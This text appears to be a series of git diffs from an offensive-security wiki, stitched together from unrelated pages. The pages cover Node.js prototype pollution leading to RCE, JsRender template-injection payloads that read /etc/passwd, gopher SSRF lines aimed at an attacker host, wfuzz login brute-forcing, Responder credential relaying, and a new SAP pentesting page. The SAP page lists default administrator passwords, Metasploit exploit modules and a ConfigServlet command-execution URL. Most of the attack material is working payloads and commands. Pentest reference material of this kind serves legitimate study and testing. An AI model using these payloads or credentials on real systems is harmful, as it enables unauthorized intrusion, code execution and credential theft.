After executing that code, **each JS object will be able to execute the function `sayHey`**.
## Examples
### Basic Example
So wheres the prototype pollution? It happens when theres a bug in the application that makes it possible to overwrite properties of `Object.prototype`. Since every typical object inherits its properties from `Object.prototype`, we can change application behaviour. The most commonly shown example is the following:
```javascript
if (user.isAdmin) { // do something important!}
```
Imagine that we have a prototype pollution that makes it possible to set `Object.prototype.isAdmin = true`. Then, unless the application explicitly assigned any value, `user.isAdmin` is always true!
![](https://research.securitum.com/wp-content/uploads/sites/2/2019/10/image-1.png)
For example, `obj[a][b] = value`. If the attacker can control the value of `a` and `value`, then he only needs to adjust the value of `a`to `__proto__`\(in javascript, `obj["__proto__"]` and `obj.__proto__`are completely equivalent\) then property `b` of all existing objects in the application will be assigned to `value`.
However, the attack is not as simple as the one above, according to [paper](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), we can only attack when one of the following three conditions is met:
* Perform recursive merge
* Property definition by path
* Clone object
### RCE Example
Imagine a real JS using some code like the following one:
```javascript
const { execSync, fork } = require('child_process');
function isObject(obj) {
console.log(typeof obj);
return typeof obj === 'function' || typeof obj === 'object';
}
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
function clone(target) {
return merge({}, target);
}
clone(USERINPUT);
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});
```
You can observe that the merge function is coping one by one all the key-value pairs from a dictionary into another one. This may seem secure, but it isn't as the copy of the `__proto__` or `prototype` properties from a dictionary into an object may modify completely the structure of the rest of the JS objects \(as it was previously explained\).
#### RCE abusing environmental variables
This trick was taken from [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/).
Basically, **if a new process** using node is **spawned** and you are able to **poison the environmental variables** it's possible to **execute arbitrary commands**.
It's also **possible to poison environmental variables** y setting the **`env`** property in some object inside JS.
For more information about why this works read the previously indicated URL.
You can poison all the objects `env` property abusing `__proto__`:
```javascript
b.__proto__.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/hackermate').toString())//"}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});
```
Or all the objects abusing `prototype`from a dictionary `constructor`:
```javascript
b = {"name": "Cat"}
b.constructor.prototype.env = { "EVIL":"console.log(require('child_process').execSync('touch /tmp/hacktricks').toString())//"}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
let proc = fork('VersionCheck.js', [], {
stdio: ['ignore', 'pipe', 'pipe', 'ipc']
});
```
Executing any of the **last 2 chunks of code** \(and creating some `VersionCheck.js` file\) the file `/tmp/hacktricks` is going to be created.
Going back to the initial example if you substitute the `USERINPUT` with the following line arbitrary command execution will be achieved:
```javascript
{"name":"Cat","constructor":{"prototype":{"env":{ "EVIL":"console.log(require('child_process').execSync('touch /tmp/hacktricks').toString())//"},"NODE_OPTIONS":"--require /proc/self/environ"}}}
```
### CVE-201911358: Prototype pollution attack through jQuery $ .extend
$ .extend, if handled incorrectly, can change the properties of the object `prototype`\(the template of the objects in the app\). This attribute will then appear on all objects. Note that only the “deep” version \(ie g\) of $ .extened is affected.
Programmers often use this function to duplicate an object or fill in new properties from a default object. For example:
We can imagine `myObject`is an input field from the user and is serialized into the DB\)
In this code, we often think, when running will assign the attribute `isAdmin`into the newly created object. But essentially, it is assigned directly to `{}` and then `{}.isAdmin` will be `true`. If after this code, we perform the following check:
```javascript
If (user.isAdmin === true) {
// do something for admin
}
```
If the user has not yet existed \( `undefined`\), the property`isAdmin`will be searched in its parent object, which is the Object added `isAdmin` with the value `true` above.
Another example when executed on JQuery 3.3.1:
```javascript
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
console.log({}.devMode); // true
```
These errors can affect a lot of Javascript projects, especially NodeJS projects, the most practical example is the error in Mongoose, the JS library that helps manipulate MongoDB, in December 2018.
### CVE-20183721, CVE-201910744: Prototype pollution attack through lodash
[Lodash](https://www.npmjs.com/package/lodash) is also a well-known library that provides a lot of different functions, helping us to write code more conveniently and more neatly with over 19 million weekly downloads. And It got the same problem as JQuery.
**CVE-20183721**
**CVE-201910744**
This bug affects all versions of Lodash, already fixed in version 4.17.11.
## What can I do to prevent?
* Freeze properties with Object.freeze \(Object.prototype\)
* Perform validation on the JSON inputs in accordance with the applications schema
* Avoid using recursive merge functions in an unsafe manner
* Use objects without prototype properties, such as `Object.create(null)`, to avoid affecting the prototype chain
* Use `Map`instead of `Object`
* Regularly update new patches for libraries
## Reference
* [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
* [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
* [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)

View file

@ -633,7 +633,7 @@ whitelisted.com.google.com
## Open Redirect uploading svg files
```text
```markup
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg

View file

@ -199,9 +199,10 @@ QUIT
#### Gopher HTTP
```text
gopher://<proxyserver>:8080/_GET http://<attacker:80>/x HTTP/1.1%0A%0A
gopher://<proxyserver>:8080/_POST%20http://<attacker>:80/x%20HTTP/1.1%0ACookie:%20eatme%0A%0AI+am+a+post+body
```bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
#### Gopher SMTP — Back connect to 1337

View file

@ -220,6 +220,33 @@ wrtz%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67%7c%7d%7d%
* [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html)
### JsRender \(NodeJS\)
| **Template** | **Description** |
| :--- | :--- |
| {{: …}} | Evaluate and render output |
| {{&gt; …}} | Evaluate and render HTML encoded output |
| {{!}} | Comment |
| {{\* …}} and {{\*: …}} | Allow code \(disabled by default\) |
* {{:7\*7}} = 49
#### Client Side
```text
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
#### Server Side
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
#### More information
* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
### ERB \(Ruby\)
* `{{7*7}} = {{7*7}}`

View file

@ -72,7 +72,7 @@ Then, a malicious user could insert a different Unicode character equivalent to
You could use one of the following characters to trick the webapp and exploit a XSS:
![](../.gitbook/assets/image%20%2895%29.png)
![](../.gitbook/assets/image%20%28312%29.png)
Notice that for example the first Unicode character purposed can be sent as: `%e2%89%ae` or as `%u226e`

View file

@ -45,7 +45,7 @@ In order to use a encoder, you have to indicate it in the **"-w"** or **"-z"** o
Examples:
```text
```bash
-z file,/path/to/file,md5 #Will use a list inside the file, and will trnasform each value into its md5 hash before sending it
-w /path/to/file,base64 #Will use a list, and transforms to base64
-z list,each-element-here,hexlify #Inline list and to hex before sending values
@ -65,14 +65,14 @@ wfuzz -c -w users.txt --hs "Login name" -d "name=FUZZ&password=FUZZ&autologin=1&
#### **POST, 2 lists, filder code \(show\)**
```bash
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 h"name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
wfuzz.py -c -z file,users.txt -z file,pass.txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" http://zipper.htb/zabbix/index.php
#Here we have filtered by code
```
#### **GET, 2 lists, filter string \(show\), proxy, cookies**
```text
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTML -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
```bash
wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTTP -b "PHPSESSIONID=1234567890abcdef;customcookie=hey" "http://example.com/index.php?username=FUZZ&password=FUZ2Z&action=sign+in"
```
### Bruteforce Dicrectory/RESTful bruteforce
@ -83,18 +83,24 @@ wfuzz -c -w users.txt -w pass.txt --ss "Welcome " -p 127.0.0.1:8080:HTML -b "PHP
wfuzz -c -w /tmp/tmp/params.txt --hc 404 https://domain.com/api/FUZZ
```
### Path Parameters BF
```bash
wfuzz -c -w ~/git/Arjun/db/params.txt --hw 11 'http://example.com/path%3BFUZZ=FUZZ'
```
### Header Authentication
#### **Basic, 2 lists, filter string \(show\), proxy**
```text
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTML --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --basic FUZZ:FUZ2Z "http://example.com/index.php"
```
#### **NTLM, 2 lists, filter string \(show\), proxy**
```text
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTML --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' "http://example.com/index.php"
wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTTP --ss "Welcome" --ntlm 'domain\FUZZ:FUZ2Z' "http://example.com/index.php"
```
### Cookie/Header bruteforce \(vhost brute\)
@ -102,13 +108,13 @@ wfuzz -c -w users.txt -w pass.txt -p 127.0.0.1:8080:HTML --ss "Welcome" --ntlm '
#### **Cookie, filter code \(show\), proxy**
```text
wfuzz -c -w users.txt -p 127.0.0.1:8080:HTML --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php"
wfuzz -c -w users.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "Cookie:id=1312321&user=FUZZ" "http://example.com/index.php"
```
#### **User-Agent, filter code \(hide\), proxy**
```text
wfuzz -c -w user-agents.txt -p 127.0.0.1:8080:HTML --ss "Welcome " -H "User-Agent: FUZZ" "http://example.com/index.php"
wfuzz -c -w user-agents.txt -p 127.0.0.1:8080:HTTP --ss "Welcome " -H "User-Agent: FUZZ" "http://example.com/index.php"
```
#### **Host**
@ -124,7 +130,7 @@ http://example.com -t 100
#### **Using file**
```text
wfuzz -c -w methods.txt -p 127.0.0.1:8080:HTML --sc 200 -X FUZZ "http://example.com/index.php"
wfuzz -c -w methods.txt -p 127.0.0.1:8080:HTTP --sc 200 -X FUZZ "http://example.com/index.php"
```
#### **Using inline list**
@ -135,7 +141,7 @@ $ wfuzz -z list,GET-HEAD-POST-TRACE-OPTIONS -X FUZZ http://testphp.vulnweb.com/
### Directory & Files Bruteforce
```text
```bash
#Filter by whitelisting codes
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 http://example.com/uploads/FUZZ
```

View file

@ -126,7 +126,7 @@ Once administrative access to the BMC is obtained, there are a number of methods
![](https://blog.rapid7.com/content/images/post-images/27966/ipmi_boot.png)
![](../.gitbook/assets/image%20%28198%29.png)
![](../.gitbook/assets/image%20%28202%29.png)
## Exploiting the BMC from the Host

View file

@ -19,3 +19,17 @@ Sample Output
From: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html\#check-point-firewall-1-topology-port-264](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264)
Another way to obtain the firewall's hostname and ICA name could be
```bash
printf '\x51\x00\x00\x00\x00\x00\x00\x21\x00\x00\x00\x0bsecuremote\x00' | nc -q 1 x.x.x.x 264 | grep -a CN | cut -c 2-
```
Sample Output
```text
CN=Panama,O=MGMTT.srv.rxfrmi
```
From: [https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit\_doGoviewsolutiondetails=&solutionid=sk69360](https://supportcenter.checkpoint.com/supportcenter/portal?eventSubmit_doGoviewsolutiondetails=&solutionid=sk69360)

View file

@ -45,7 +45,7 @@ responder -I <Iface> --wpad
Responder is going to **impersonate all the service using the mentioned protocols**. Once some user try to access a service being resolved using those protocols, **he will try to authenticate against Responde**r and Responder will be able to **capture** the "credentials" \(most probably a **NTLMv2 Challenge/Response**\):
![](../../.gitbook/assets/poison.jpg)
![](../../.gitbook/assets/poison%20%281%29.jpg)
## **Inveigh**
@ -77,7 +77,7 @@ If you want to use **MultiRelay**, go to _**/usr/share/responder/tools**_ and ex
python MultiRelay.py -t <IP target> -u ALL #If "ALL" then all users are relayed
```
![](../../.gitbook/assets/image%20%28153%29.png)
![](../../.gitbook/assets/image%20%28209%29.png)
### Post-Exploitation \(MultiRelay\)

View file

@ -241,7 +241,7 @@ Some really bad implementations allowed the Null PIN to connect \(very weird als
All the proposed WPS attacks can be easily performed using _**airgeddon.**_
![](../../../.gitbook/assets/image%20%28260%29.png)
![](../../../.gitbook/assets/image%20%28201%29%20%281%29.png)
* 5 and 6 lets you try **your custom PIN** \(if you have any\)
* 7 and 8 perform the **Pixie Dust attack**

View file

@ -29,7 +29,7 @@ xfreerdp /u:[domain\]<username> /pth:<hash> /v:<IP>
rdp\_check.py from impacket let you check if some credentials are valid for a RDP service:
```bash
rdp_check <domain>\<name>:<password>@<IP>
rdp_check <domain>/<name>:<password>@<IP>
```
## Nmap scripts

View file

@ -0,0 +1,300 @@
# Pentesting SAP
### Introduction about SAP
SAP stands for Systems Applications and Products in Data Processing. SAP, by definition, is also the name of the ERP \(Enterprise Resource Planning\) software as well as the name of the company.
SAP system consists of a number of fully integrated modules, which covers virtually every aspect of business management.
Each SAP instance \(or SID\) is composed of three layers: database, application and presentation\), each landscape usually consists of four instances: dev, test, QA and production.
Each of the layers can be exploited to some extent, but most effect can be gained by **attacking the database**.
Each SAP instance is divided into clients. Each one has a user SAP\*, the applications equivalent of “root”.
Upon initial creation, this user SAP\* gets a default password: “060719992” \(more default password below\).
Youd be surprised if you knew how often these **passwords arent changed in test or dev environments**!
Try to get access to the shell of any server using username &lt;SID&gt;adm.
Bruteforcing can help, whoever there can be Account Lockout mechanism.
### Discovery
> Next section is mostly from [https://github.com/shipcod3/mySapAdventures](https://github.com/shipcod3/mySapAdventures) from user shipcod3!
* Check the Application Scope or Program Brief for testing. Take note of the hostnames or system instances for connecting to SAP GUI.
* Use OSINT \(open source intelligence\), Shodan and Google Dorks to check for files, subdomains, and juicy information if the application is Internet-facing or public:
```text
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
```
* Here is what [http://SAP:50000/irj/portal](http://sap:50000/irj/portal) looks like
![alt text](https://raw.githubusercontent.com/shipcod3/mySapAdventures/master/screengrabs/sap%20logon.jpeg)
* Use nmap to check for open ports and known services \(sap routers, webdnypro, web services, web servers, etc.\)
* Crawl the URLs if there is a web server running.
* Fuzz the directories \(you can use Burp Intruder\) if it has web servers on certain ports. Here are some good wordlists provided by the SecLists Project for finding default SAP ICM Paths and other interesting directories or files:
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web\_Content/URLs/urls\_SAP.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web_Content/URLs/urls_SAP.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web\_Content/CMS/SAP.fuzz.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web_Content/CMS/SAP.fuzz.txt)
[https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web\_Content/sap.txt](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web_Content/sap.txt)
* Use the SAP SERVICE DISCOVERY auxiliary Metasploit module for enumerating SAP instances/services/components:
```text
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
```
#### Testing the Thick Client / SAP GUI
Here is the command to connect to SAP GUI
`sapgui <sap server hostname> <system number>`
* Check for default credentials \(In Bugcrowds Vulnerability Rating Taxonomy, this is considered as P1 -&gt; Server Security Misconfiguration \| Using Default Credentials \| Production Server\):
```text
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
```
* Run Wireshark then authenticate to the client \(SAP GUI\) using the credentials you got because some clients transmit credentials without SSL. There are two known plugins for Wireshark that can dissect the main headers used by the SAP DIAG protocol too: SecureAuth Labs SAP dissection plug-in and SAP DIAG plugin by Positive Research Center.
* Check for privilege escalations like using some SAP Transaction Codes \(tcodes\) for low-privilege users: SU01 - To create and maintain the users SU01D - To Display Users SU10 - For mass maintenance SU02 - For Manual creation of profiles SM19 - Security audit - configuration SE84 - Information System for SAP R/3 Authorizations
* Check if you can execute system commands / run scripts in the client.
* Check if you can do XSS on BAPI Explorer
### Testing the web interface
* Crawl the URLs \(see discovery phase\).
* Fuzz the URLs like in the discovery phase. Here is what [http://SAP:50000/index.html](http://sap:50000/index.html) looks like:
![alt text](https://github.com/shipcod3/mySapAdventures/blob/master/screengrabs/index.jpeg)
* Look for common web vulnerabilities \(Refer to OWASP Top 10\) because there are XSS, RCE, XXE, etc. vulnerabilities in some places.
* Check out Jason Haddixs [“The Bug Hunters Methodology”](https://github.com/jhaddix/tbhm) for testing web vulnerabilities.
* Auth Bypass via verb Tampering? Maybe :\)
* Open `http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#` then hit the “Choose” Button and then in the opened window press “Search”. You should be able to see a list of SAP users \(Vulnerability Reference: [ERPSCAN-16-010](https://erpscan.com/advisories/erpscan-16-010-sap-netweaver-7-4-information-disclosure/) \)
* Are the credentials submitted over HTTP? If it is then it is considered as P3 based on Bugcrowds [Vulnerability Rating Taxonomy](https://bugcrowd.com/vulnerability-rating-taxonomy): Broken Authentication and Session Management \| Weak Login Function Over HTTP. Hint: Check out [http://SAP:50000/startPage](http://sap:50000/startPage) too or the logon portals :\)
![alt text](https://github.com/shipcod3/mySapAdventures/blob/master/screengrabs/startPage.jpeg)
* Try `/irj/go/km/navigation/` for possible directory listing or authentication bypass
* [http://SAP/sap/public/info](http://sap/sap/public/info) contains some juicy information:
```text
This XML file does not appear to have any style information associated with it. The document tree is shown below.
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```
### Attack!
* Check if it runs on old servers or technologies like Windows 2000.
* Plan the possible exploits / attacks, there are a lot of Metasploit modules for SAP discovery \(auxiliary modules\) and exploits:
```text
msf > search sap
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
```
* Try to use some known exploits \(check out Exploit-DB\) or attacks like the old but goodie “SAP ConfigServlet Remote Code Execution” in the SAP Portal:
```text
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
```
![alt text](https://github.com/shipcod3/mySapAdventures/blob/master/screengrabs/sap_rce.jpeg)
* Before running the `start` command on the bizploit script at the Discovery phase, you can also add the following for performing vulnerability assessment:
```text
bizploit> plugins
